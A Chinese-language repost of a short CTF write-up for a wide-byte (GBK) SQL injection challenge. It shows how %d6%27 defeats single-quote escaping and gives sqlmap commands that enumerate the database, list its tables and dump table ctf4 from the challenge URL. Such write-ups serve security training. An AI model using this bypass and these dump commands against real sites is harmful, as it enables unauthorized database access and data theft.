當前位置：
首頁 >
南邮宽字节(sql_gbk)注入
發(fā)布時間：2025/3/21
52
豆豆
生活随笔
收集整理的這篇文章主要介紹了
南邮宽字节(sql_gbk)注入
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
首先題目過濾了單引號，先繞過，用%d6%27來繞過，構(gòu)成一個寬字節(jié)，取消了單引號的轉(zhuǎn)義，直接上sqlmap
爆數(shù)據(jù)庫: python sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6%27" --current-db 爆表名: python sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6%27" --tables -D sae-chinalover 爆ctf4表里面的數(shù)據(jù)： python sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2%d6%27" --dump -T ctf4 -D sae-chinalover 《新程序員》：云原生和全面數(shù)字化實踐50位技術(shù)專家共同創(chuàng)作，文字、視頻、音頻交互閱讀總結(jié)
以上是生活随笔為你收集整理的南邮宽字节(sql_gbk)注入的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： C#中base64编码与解码
- 下一篇： sqlmap参数说明